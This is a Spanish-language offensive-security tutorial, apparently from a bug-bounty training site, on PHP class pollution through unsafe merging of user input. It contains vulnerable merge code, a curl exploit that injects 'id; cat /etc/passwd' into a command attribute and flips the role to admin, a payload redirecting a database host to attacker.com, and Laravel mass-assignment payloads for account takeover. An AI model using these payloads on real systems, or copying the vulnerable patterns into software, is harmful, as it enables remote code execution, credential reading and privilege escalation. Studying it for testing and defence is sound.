Respuesta rápida
PHP no tiene prototype global como JavaScript, pero sí tiene class pollution: si una app hace foreach para mergear input del usuario en un objeto existente (o array_merge_recursive con configs), atacante puede sobrescribir atributos de instancias y disparar gadgets internos (RCE via exec-attributes, auth bypass via role flip, SQLi via SQL builders). No se pueden override métodos (PHP no soporta dynamic method dispatch), pero atributos que fluyen a sinks peligrosos son suficiente.
Por qué PHP es distinto de JS/Python
| Aspecto | JS prototype pollution | Python class pollution | PHP class pollution |
|---|---|---|---|
| Base class universal | Object.prototype | object | No (stdClass no es base) |
| Pollution global single-shot | Sí | Sí | No — solo objeto-por-objeto |
| Override métodos | Sí | Sí | No — solo atributos |
| Escapar contexto | Sí | Sí | No |
| Pollute atributos | Sí | Sí | Sí |
| Pollute array keys | N/A | Sí | Sí |
La limitación clave: no hay base class universal. La pollution afecta solo a la instancia/clase concreta. Pero si la app tiene un objeto de configuración global (Service Container en Laravel, ContainerBuilder en Symfony, $wp_config en WP), la pollution de ese único objeto basta.
El patrón vulnerable canónico
function merge($baseObject, $userInput) {
foreach ($userInput as $key => $value) {
$baseObject->$key = $value;
}
return $baseObject;
}
$config = new AppConfig();
$userJson = json_decode(file_get_contents('php://input'));
$mergedConfig = merge($config, $userJson);
$mergedConfig->doSomething();
$userJson es controlado por el atacante. El foreach asigna cualquier propiedad. PHP no diferencia entre crear nuevo atributo y sobrescribir existente vía $obj->$dynamic_key.
Gadget: comando en atributo
class AppConfig {
public $healthCheckCommands = ['ping -c 1 127.0.0.1'];
public $username = 'guest';
function healthCheck() {
foreach ($this->healthCheckCommands as $cmd) {
passthru($cmd); // ← sink
}
}
function isAdmin() {
return $this->username === 'admin';
}
}
Exploit:
curl -X POST http://target/api/config \
-H 'Content-Type: application/json' \
-d '{"healthCheckCommands":["id; cat /etc/passwd"],"username":"admin"}'
Resultado: RCE (vía override de healthCheckCommands) + auth bypass (username ahora es admin). En una sola request.
Variantes de merge vulnerables
Built-in array_merge con casting
function merge($base, $input) {
return (object) array_merge((array) $base, (array) $input);
}
Problema añadido: convierte a stdClass y los métodos originales se pierden. Útil para auth bypass (sobrescribir atributos), no para RCE via método.
Foreach manual (el más explotable)
function merge($base, $input) {
foreach ($input as $k => $v) $base->$k = $v;
return $base;
}
Preserva la clase y métodos → cualquier método interno que use atributos polluted dispara el gadget.
Clone + foreach
function merge($base, $input) {
$obj = clone $base;
foreach ($input as $k => $v) $obj->$k = $v;
return $obj;
}
Mismo impacto, solo cambia que no muta el original.
array_merge_recursive en arrays
$config = ['db' => ['host' => 'localhost', 'pass' => 'secret']];
$user = json_decode($input, true); // ← associative array
$merged = array_merge_recursive($config, $user);
Atacante envía {"db":{"host":"attacker.com","pass":"override"}} → el merge recursivo profundo sobrescribe. Patrón común en endpoints que aceptan settings JSON.
Frameworks reales — dónde buscar
Laravel — mass assignment
// Eloquent Model
$user->fill($request->all());
$user->save();
Si el modelo no tiene $fillable definido o tiene $guarded = [], cualquier columna se asigna desde el request. Atacante envía:
{"email":"victim@target.com","password":"pwned","is_admin":true,"email_verified_at":"2020-01-01"}
Resultado: ATO + role escalation. Bug class clásico de Laravel; bounty $2000-5000 en programs grandes con eloquent mass assignment.
Laravel — Service Container
app()->instance('mailer.config', $userControlledConfig);
Si el atacante puede llamar app()->instance(...) (rare, requiere endpoint que delegue) o si hay merge de config:
config()->set($key, $value); // $key/$value desde request
Con config()->set('app.cipher', 'attacker_string') puede romper cifrado de sesiones o forzar cifrados débiles.
Symfony — ContainerBuilder
$container->set('cache.adapter.redis', $userInput);
Reemplaza un servicio del container. Si después algún componente lo usa, atacante intercepta.
WordPress — wp_parse_args
$defaults = ['post_type' => 'post', 'numberposts' => 5];
$args = wp_parse_args($_GET, $defaults);
WP_Query($args);
wp_parse_args es el "merge" oficial de WP. Atacante envía ?post_type=any&meta_query[0][key]=...&meta_query[0][value]=... y construye queries arbitrarias. SQLi vía pollution de args.
Sigue leyendo el chain completo
La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.
La checklist que repaso en cada objetivo nuevo
47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.
Te das de baja en un clic, desde cualquier correo.
Practica esto en un lab
Prototype Pollution Explotacion
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
LFI — Local File Inclusion: payloads, filters bypass, log poisoning y RCE
Path traversal, null-byte injection, double encoding, PHP wrappers (filter, data, expect, phar), log poisoning y escalación de LFI a RCE en stacks PHP/Java/Node.
Headless browsers — SSRF y RCE en endpoints que renderizan URLs
Endpoints que aceptan URLs para screenshots/PDF (Puppeteer, Playwright, wkhtmltopdf) son SSRF goldmine: cloud metadata, file://, gopher://, JS injection con XSS-to-RCE en chromium sandbox.
File Upload — bypasses de extension, content-type y magic bytes
10 bypasses para subir webshells: doble extensión, null byte, content-type spoof, magic bytes, polyglots, race conditions y abuso de path traversal.
